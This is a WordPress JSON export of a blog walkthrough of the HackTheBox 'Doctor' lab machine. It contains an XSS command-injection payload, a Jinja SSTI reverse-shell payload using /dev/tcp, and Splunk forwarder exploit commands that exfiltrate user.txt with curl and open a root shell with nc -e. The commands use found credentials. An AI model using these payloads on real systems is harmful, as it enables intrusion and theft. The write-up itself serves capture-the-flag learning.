{"id":608,"date":"2021-01-12T10:11:38","date_gmt":"2021-01-12T10:11:38","guid":{"rendered":"https:\/\/shreyapohekar.com\/blogs\/?p=608"},"modified":"2021-01-21T13:18:17","modified_gmt":"2021-01-21T13:18:17","slug":"doctor-hackthebox-walkthrough","status":"publish","type":"post","link":"https:\/\/shreyapohekar.com\/blogs\/doctor-hackthebox-walkthrough\/","title":{"rendered":"Doctor hackthebox walkthrough"},"content":{"rendered":"\n<p>Hey everyone! This post will walk you through doctor from hackthebox. <\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Summary<\/h1>\n\n\n\n<p>Doctor is an easy level linux machine. The initial foothold on the box exploits the SSTI vulnerability. The alternative way to initial foothold is by exploiting the XSS vulnerability. The privilege escalation exploits the splunkd services and leads to arbitary code execution as the services are running as root.<\/p>\n\n\n\n<p>With that being said, lets get sarted!<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Recon<\/h1>\n\n\n\n<p>Starting with the nmap scan, I found 3 open ports. ssh and http on port 80 are common. But port 8089 determined that slunkd is running on the box.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\"># Nmap 7.70 scan initiated Thu Jan&nbsp; 7 11:22:24 2021 as: nmap -sC -sV -o doctor.nmap 10.10.10.209\nNmap scan report for 10.10.10.209\nHost is up (0.27s latency).\nNot shown: 997 filtered ports\nPORT  STATE SERVICE&nbsp; VERSION\n22\/tcp &nbsp; open&nbsp; ssh&nbsp;  OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)\n80\/tcp &nbsp; open&nbsp; http  Apache httpd 2.4.41 ((Ubuntu))\n|_http-server-header: Apache\/2.4.41 (Ubuntu)\n|_http-title: Doctor\n8089\/tcp open&nbsp; ssl\/http Splunkd httpd\n| http-robots.txt: 1 disallowed entry\n|_\/\n|_http-server-header: Splunkd\n|_http-title: splunkd\n| ssl-cert: Subject: commonName=SplunkServerDefaultCert\/organizationName=SplunkUser\n| Not valid before: 2020-09-06T15:57:27\n|_Not valid after:&nbsp; 2023-09-06T15:57:27\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Thu Jan&nbsp; 7 11:23:40 2021 -- 1 IP address (1 host up) scanned in 76.71 seconds<\/pre>\n\n\n\n<p>I visited http:\/\/10.10.10.209 There was nothing interesting in there except for contact information. It mentioned a mail id info@doctors.htb<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"229\" src=\"https:\/\/lh6.googleusercontent.com\/-BBPTPeoS2OJEAzd4JlzCEYhdTYzoFm4H0QGf8XMi5VT03222PfFmFd3R6zavUIIvcfbZrCA6jaKGHJniiFrXkslZErpfiry_j3bbxEjfD1a46LU42JcbkgQfQz0sa3uMEzBpnMX\"><\/p>\n\n\n\n<p>So the first thing that clicked my mind was doing an entry in the \/etc\/hosts<\/p>\n\n\n\n<pre class=\"wp-block-code wpf-blue-background\"><code>10.10.10.209 doctors.htb<\/code><\/pre>\n\n\n\n<p>After this I opened up http:\/\/doctors.htb and a login page landed.<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"328\" src=\"https:\/\/lh5.googleusercontent.com\/bMgJD5nP1vTt_hX0oLQW7eFkPNG-1RhwKPvLSf_h_hVF1awlkXK817ErRkRz32f_DdjOhkABc2k2o-kP0XGTn99Dj9B_rYBTNnnmB5PLpkzv56z7UBGaf6ioFXdWfkBep0FLa1J7\"><\/p>\n\n\n\n<p>I simply registered the new user test, as I didn&#8217;t had any credentials to login.<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"607\" height=\"516\" src=\"https:\/\/lh4.googleusercontent.com\/U7KRItKXvcEB0CYIVyBdcmsse2EHl7NwsrDerpuylrgUhTZ8P17V5XPQ5q5HdpFcIM5lX7-Bc5AFe-rb6s-AO71gSy6l2TJz3cZILxvVUdi6L7frDQ7EWdKtZL07PwrGFEDf4wqI\"><\/p>\n\n\n\n<p>I found that there was an option to create a new message. Since there were 2 input boxes, I thought testing it for XSS. <\/p>\n\n\n\n<p>I opened up a nc listener on my local machine and just putting up this payload in iframe that can just be used to ping the machine. And I received a response. Means the HTML stage were perfectly working in here.<\/p>\n\n\n\n<p>While searching on internet for reverse connections using html tags, I found this<\/p>\n\n\n\n<p>&lt;img src=http:\/\/IP\/$(&#8220;command&#8221;$IFS&#8221;command&#8221;$IFS)&gt;<\/p>\n\n\n\n<p>Looked like a best bet.<\/p>\n\n\n\n<p>So I again opened up a nc listener and entered the payload. <\/p>\n\n\n\n<p>Here $IFS is the internal field separator for space. And the IP mentioned is the IP of my local machine <\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"624\" height=\"383\" src=\"https:\/\/lh3.googleusercontent.com\/h7YmFvqdr6p171OSMygJB8ZvoLdN86L8XdymG5gUwoDrbMjVrYu_82vsXOlnf0wLz7Y3pynhbEPxjdaj-vSD_BoZtzdCIcwjqM3E0-1-1befGZdEiEaR6yn-K8G6D4zUDKx9yMBK\"><\/p>\n\n\n\n<p>And I got a reverse shell.<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/7BtiYCi4p2Dc6J05VVONW9lEYF4xJMA6zWC1kGv0ycQrZkaYXvxa2Ty2q9Nwl8grRYIiGzi_B1w4NcUUtGjWuFJ99hB9rb5_A1m0Cchn5xfRk-kdwdeQnG85j2437F6maS_c6NR5\" width=\"624\" height=\"281\"><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">The alternative way to initial foothold!<\/h1>\n\n\n\n<p>When going through others approach for the box, I found out that the box is vulnerable to SSTI (Server-Side Template Injection). <\/p>\n\n\n\n<p>Websites use template engines to render dynamic data via webpages and emails. The vulnerability occurs when the user input to the templates is not being properly validated and this can lead to remote code execution.<\/p>\n\n\n\n<p>You can read about this vulnerability here: https:\/\/portswigger.net\/research\/server-side-template-injection<\/p>\n\n\n\n<p>When gobuster is ran across http:\/\/doctors.htb , there was a page \/archive. So when the user(doctor) publishes a new message, go to \/archive. It is blank. On viewing the page source, one can see that the title of the message is reflected there. So the only thought that comes is of SSTI.<\/p>\n\n\n\n<p>So lets check that out. As the title is only vulnerable to SSTI, inject the payload there. At first, the template engine has to be identified. You can simply for test all the payloads corresponding to different template engines. <\/p>\n\n\n\n<p>I just checked in wappalyzer that python was being used so I tested only for template engines of python (jinja and twig) and {{7*7}} worked out.<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"463\" height=\"329\" src=\"https:\/\/lh6.googleusercontent.com\/28qQD77qbaNe1vzPfaY_ifSv9735doCKp0ZieoRcas4CQfpov_cBBEfku7JuEnTnSUHM9INcvGHlCB7aeFHavSSumWJUvJq9MwHim958YCLskKjWLFbt2q7rX4BHS7c7E9dgod1Z\"><\/p>\n\n\n\n<p>The title reflected 49( {{7*7}} ) And confirmed SSTI.<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/K4C6ctNiULE-kvKv2p0izQglrqAwetV51yhFZ7pe6qu_lMyAI44MMxV_heZ0SwywDV57UXVRuvN_8hiaRmv5IImJcy-IcN00JbeEntlwtdAgC8d066y9H01m5qLbAQKkBX_9tGwq\" width=\"545\" height=\"249\"><\/p>\n\n\n\n<p>Now Use this paylaod and open up a nc listener. <\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">{% for x in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(\"bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.9\/4444 0&gt;&amp;1'\").read()}}{%endif%}{%endfor%}<\/pre>\n\n\n\n<p>When you open the \/archive, you get a reverse shell.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Privilege escalation<\/h1>\n\n\n\n<p>The logged user was web. Now under \/home another user shaun was present having the user.txt but right now the access has been denied.<\/p>\n\n\n\n<p>As usual, I executed linenum.sh (grabbed it from my local machine). There were a lots of things to look into. Backup folders were also present (that was just a ploy). After going through the results, I found out that  there is a backup file in apache2 logs. That seemed interesting. I just tried to grab any passwords present there. And it just gave me one!!! \ud83d\ude42<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/lVrKavODEOsy5DRC5PYKwpR45UdN9qnzc3Pry3mHXfbd0mHzt6W0JjAY5aXRQmPhluP1JnzItn6K4Fo47Ry5niAWAlpvHK9-8NO9MQzOeRh94EV3FQjGjaaxMITGm_vOsV0B4UXw\" width=\"624\" height=\"56\"><\/p>\n\n\n\n<p>So now I have a password and a username too (shaun).<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Privilege escalation<\/h1>\n\n\n\n<p>While doing the initial recon, I also went to http:\/\/10.10.10.209:8089 . The landing page looked like this<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"467\" height=\"485\" src=\"https:\/\/lh6.googleusercontent.com\/TyGQIrVF9prOTDMrsmLB1yTc26yHm-ovH6KI0FmFi4ppniQ2tcP45oSQY2sMrJFpD8rTwiyeSdeZGSZ-RV5usnuteWjbSC-m1XEopK9HV3C4rmqNkvGN7OPzuIQJ7EMHl2KpKVKD\"><\/p>\n\n\n\n<p>Splunk build was 8.0.5. I searched for exploits on internet but those were authenticated exploits as the link to services required some credentials and bruteforce didnt really worked out. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The Vulnerability<\/h2>\n\n\n\n<p>The Splunk Universal Forwarder Agent (UF) allows authenticated remote users to send single commands or scripts to the agents through the Splunk API. The UF agent doesn\u2019t validate connections coming are coming from a valid Splunk Enterprise server, nor does the UF agent validate the code is signed or otherwise proven to be from the Splunk Enterprise server. This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system.<\/p>\n\n\n\n<p>You can find out more here: https:\/\/eapolsniper.github.io\/2020\/08\/14\/Abusing-Splunk-Forwarders-For-RCE-And-Persistence\/<\/p>\n\n\n\n<p>So as now I had the credentials, I tried to login to the services<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/N1TVVPbZnDOnXk6izbkh99Y1lc0fMOcwPdwQsTgudBTOMepsxOQrTjlS5jcfcg7omCJXc3SkF80yXXVckPvySkEImlv9zzxJFFyljiIOntSWXdZONrp2E6sIxtAiYBgvtFtQKmyX\" width=\"624\" height=\"271\"><\/p>\n\n\n\n<p>And it worked! And got this page<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"551\" height=\"409\" src=\"https:\/\/lh4.googleusercontent.com\/uY1j73hUmdEXjiCJxzv-EUIilyE2e4zdgJUt3Gx2iAlYs4DHZlPe7J0sWbBuiKnTan6QPcbjsUuHAZI97Ldd_CyMwtE8zwN4xZ1rYnpalszGDvztnfIaacEJNAwyCPB4e9-bOnwx\"><\/p>\n\n\n\n<p>As I  am authenticated now, I can run the exploit. I did a git clone on <\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/cnotin\/SplunkWhisperer2\/tree\/master\/PySplunkWhisperer2\">https:\/\/github.com\/cnotin\/SplunkWhisperer2\/tree\/master\/PySplunkWhisperer2<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"bb8d\">How Does the attack Work<\/h2>\n\n\n\n<ol class=\"wp-block-list\"><li>Connect to the Splunk Universal Forwarder management port, authenticate with provided or default credentials, and configure the forwarder to use the attacker-controlled machine as the deployment server.<\/li><li>The forwarder then connects to the attacker machine and requests deployment applications.<\/li><li>The exploit responds to the request with a fake application containing a script input instructing the forwarder to run the script.<\/li><li>After a delay, the exploit connects again to the forwarder management port and reverts the deployment server configuration.<\/li><\/ol>\n\n\n\n<p>@source: https:\/\/airman604.medium.com\/splunk-universal-forwarder-hijacking-5899c3e0e6b2<\/p>\n\n\n\n<p>Ran this command to read the user.txt (\/home\/shaun\/user.txt). This command is running as root!! Do not forget to open up a nc listener.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username shaun --password \"Guitar123\" --payload \"curl -F 'data=@\/home\/shaun\/user.txt' http:\/\/10.10.14.9:4444\" --lhost 10.10.14.9\n<\/pre>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/db5LH_gxNQtcXCV_X7Y_rJYay_c8xsyono4o6gyUZMXoZBk65WjQS1521j0PK1eKoOf38evk6ZYWwG9rK0yhz-WhYWCEqd4jeaI9MSkDEQfD63SSrZT5A5N8gUZgzs0PCMxHCkb_\" width=\"624\" height=\"289\"><\/p>\n\n\n\n<p>I got user.txt in response.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Lets grab the reverse shell<\/h1>\n\n\n\n<p>Ran this command. Similar to the one that we did for the initial foothold<\/p>\n\n\n\n<pre class=\"wp-block-preformatted wpf-blue-background\">python PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --username shaun --password \"Guitar123\" --payload \"nc.traditional -e\/bin\/sh '10.10.14.9' '8888'\" --lhost 10.10.14.9\n<\/pre>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"558\" height=\"220\" src=\"https:\/\/lh6.googleusercontent.com\/lGOC6I_IMNLFgCSA8yh0dKj2mMxlDN98X4GkbVsmePmBiSU5H5GXR5yCr6IdC904E4JIp-ifIE__3obHTkBmg4jRFIkk5BQStOpwNMnbfUQ53zh0TWHngbRPFGDvmlpaQnFTPiPy\"><\/p>\n\n\n\n<p>And got the reverse shell<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/6oEa-wTIgQx8UNxklBNtyf3vKjqmP-mxq3KX1oi-S0J3dvAb48rGIVlV3n5YkmiX-N9Y6-s1Vm5EBZLY919Z1xIkpu4kcsqlNbKCYRwes10dIp1o_5MMzWt6vqMygGgiWJ9jUHx2\" width=\"624\" height=\"199\"><\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/ctcPSjyypW_LEA-EKdNGY_4m0u_7xJraFqW4RCsEh4hZJhm8IIpU3mxoQ94kjHiNZCdUhFlgN2jfbEaTVSS89__184tcp_JZrDTbu2gzLwhA1j6XWxecOysy9L6Zp2MmX-mgGT1J\" width=\"336\" height=\"80\"><\/p>\n\n\n\n<p>This machine implemented some really cool concepts. Enjoyed doing the box. <\/p>\n\n\n\n<p>That&#8217;s all for this blog post! See you in the next one \ud83d\ude42<\/p>\n\n\n\n<p>Until then, happy hacking!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Doctor is an easy linux machine from hackthebox. The initial foothold exploits SSTI\/XSS and with splunkd you get the privilege escalation<\/p>\n","protected":false},"author":1,"featured_media":610,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"","ocean_second_sidebar":"","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"","ocean_custom_header_template":"","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"","ocean_menu_typo_font_family":"","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"on","ocean_gallery_id":[],"footnotes":""},"categories":[19,2,141,255],"tags":[276,71,278,275,277,279,8],"class_list":["post-608","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackthebox","category-information-security","category-linux","category-python","tag-jinja","tag-linux","tag-splunkd","tag-ssti","tag-twig","tag-universal-forwarders","tag-xss","entry","has-media"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/608"}],"collection":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/comments?post=608"}],"version-history":[{"count":3,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/608\/revisions"}],"predecessor-version":[{"id":613,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/posts\/608\/revisions\/613"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media\/610"}],"wp:attachment":[{"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/media?parent=608"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/categories?post=608"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shreyapohekar.com\/blogs\/wp-json\/wp\/v2\/tags?post=608"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}